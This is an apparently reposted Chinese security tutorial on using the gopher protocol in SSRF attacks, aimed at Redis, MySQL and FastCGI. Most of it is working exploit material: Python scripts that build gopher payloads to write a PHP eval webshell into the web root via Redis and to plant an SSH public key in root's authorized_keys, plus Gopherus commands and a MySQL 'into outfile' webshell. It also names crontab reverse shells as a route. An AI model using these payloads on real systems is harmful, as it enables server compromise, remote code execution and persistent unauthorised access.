gopher在ssrf中的应用
2023-3-30 17:30:0 Author: xz.aliyun.com(查看原文) 阅读量:32 收藏

gopher协议

gopher是http协议出现以前常用的协议。它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它。它可以发送GET、POST请求,攻击内网的redis以及ftp。

使用限制

php:--wite-curlwrappers且php版本不小于5.3

java:小于JDK1.7

curl:低版本不支持

perl:支持

ASP.NET:小于3

gopher格式:
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

gopher发送get请求

GET /b.php?q=1 HTTP/1.1 
Host: 192.168.47.244
gopher://192.168.47.244:80/_GET /b.php?q=1 HTTP/1.1 Host: 192.168.47.244
//url解码前的内容
gopher://192.168.47.244:80/_GET%20/b.php%3Fq%3D1%20HTTP/1.1%0D%0AHost%3A%20192.168.47.244%0D%0A%0D%0A

gopher发送post请求

POST /b.php?q=1 HTTP/1.1
Host: 192.168.47.244
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

q=Myname
gopher://192.168.47.244:80/_POST /b.php?q=1 HTTP/1.1
Host: 192.168.47.244
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

q=Myname

//url解码前的内容
gopher://192.168.47.244:80/_POST%20/b.php%3Fq%3D1%20HTTP/1.1%0D%0AHost%3A%20192.168.47.244%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%208%0D%0A%0D%0Aq%3DMyname

而gopherus是产生gopher的payload程序。

kali下载,python2环境。

下载地址:https://github.com/tarunkant/Gopherus

可以在kali中使用下列命令获取:

git https://github.com/tarunkant/Gopherus.git

目前支持生成payload应用有:

MySQL (Port:3306)

FastCGI (Port:9000)

Memcached (Port:11211)

Redis (Port:6379)

Zabbix (Port:10050)

SMTP (Port:25)

是否需要对gopher命令_后面进行二次编码:

curl_exec()造成的SSRF,gopher协议需要使用二次URLEncode;而file_get_contents()造成的SSRF,gopher协议就不用进行二次URLEncode

打Redis

前置知识
redis

一种c语言编写的非关系型数据库。默认端口6379

resp协议:

RESP 是 Redis 序列化协议的简写。redis协议将传输的数据分为五种最小单元类型,单元结束时统一加上回车换行符号\r\n。注意

单行字符串以 + 符号开头。
+hello world\r\n
多行字符串以 $ 符号开头,后跟字符串长度。多行字符串当然也可以表示单行字符串。
$11\r\nhello world\r\n
整数值以 : 符号开头,后跟整数的字符串形式。
1024:
:1024\r\n
错误消息以 - 符号开头。
-WRONGTYPE Operation against a key holding the wrong kind of value
数组以 * 号开头,后跟数组的长度。
[1,2,3]:
*3\r\n:1\r\n:2\r\n:3\r\n

例如

输入*3\r\n$3\r\nset\r\n$6\r\nauthor\r\n$8\r\ncodehole\r\n

*3
$3
set
$6
author
$8
codehole
利用方式

1.绝对路径写webshell

2.写ssh公钥

3.写contrab计划任务反弹shell

4.主从复制webshell

webshell
python2 gopherus.py --exploit redis

php//ReverseShell应该是反弹shell PHPshell就是webshell了

回车(默认目录)

<?php eval($_POST['1']);?>
//默认的写入文件名是shell.php 默认的命令参数是cmd

传入然后访问连接即可。

绝对路径写webshell

构造redis语句

flushall
config set dir /var/www/html
config set dbfilename shell.php
set 1 '<?php eval($_GET["cmd"]);?>'
save

去网上找了一个师傅的脚本,将命令转化为resp形式

import urllib
protocol="gopher://"
ip="192.168.64.163"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

运行后将结果传入靶机,连接即可

写入ssh公钥

前提:靶机的ssh开启

import urllib

protocol = "gopher://"
ip = "192.168.64.163"
port = "6379"
shell = "\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename = "authorized_keys"
path = "/root/.ssh/"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZ4COG/WedK5DMzzUrXon27jTinJr7p7fqXUuQmDELqSmtVJEhM7PDcfuELxB49GnxERabS+jKiylRuMDPw+OQYxLOANuWt8F0L5vCzik2ADn6OsD7Pq/vqCXo6gOHAKdueG8PsoeShw0DgUhwdd0jzSrz3RciuSo9Ka8y8QCU0BqQbosYxWVDpr2pzqkBL8LEB9oUu06ug5hJNoG1rpCPbebXCVCPvnnFVWuDHb0u9DSZz8a1LSREF1aDDjAHrc5TMOMh4LpIIaIbLq55/ZBI3KHEOfmpeKa+G56BcO03PV9L9Dx8XpT2p77zwOZWNRtHOTSV5o1qdwGyRNkff5Hhe5BojG5zwdzjkoduAs4s8pqPEYe4XiPrA2vkJuaYDG0pMNlCbwDmIKos6rr6iBJvgp9vTRGrlzqlf2HLqN9Bxmd52/6TQD5xgA0XsNPNr6EWVzS/NS9cZ5MJ3gzCJWkZEfMmNyaJwcul6Q3PPykN+iQ5pd9vejcsMeCEgdZVRhU= [email protected]\n\n"
passwd = ""
cmd = ["flushall",
       "set 1 {}".format(ssh_pub.replace(" ", "${IFS}")),
       "config set dir {}".format(path),
       "config set dbfilename {}".format(filename),
       "save"
       ]
if passwd:
    cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"


def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
    cmd += CRLF
    return cmd


if __name__ == "__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print(payload)

利用curl命令写入后连接

ssh [email protected]:port

打mysql

mysql客户端登录服务器时有两种情况,需要密码和不需要密码。gopher协议打mysql不需要密码的情况。

还是要通过dict协议获取端口。默认3306

前提

知道网站路径

对数据库有执行权限

python2 gopherus.py --exploit mysql
root
select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php

直接将木马写入1.php,然后访问即可。

打FastCGI

前置知识

Fastcgi是服务器中间件和某个语言后端进行数据交换的通信协议。由多个record构成。

record

record也有header和body,服务器中间件封装按协议发送到后端,后端处理后,按协议返回。

typedef struct {
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 

  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;
Fastcgi Type

作用:标志每个record的作用

漏洞利用

当9000端口暴露时候,我们可以伪造fastcgi与后端语言之间的协议报文来攻击,当9000端口未暴露时,我们也可以用gopherus进行ssrf。

python2 gopherus.py --exploit fastcgi
回车
回车
命令

文章来源: https://xz.aliyun.com/t/12374
如有侵权请联系:admin#unsafe.sh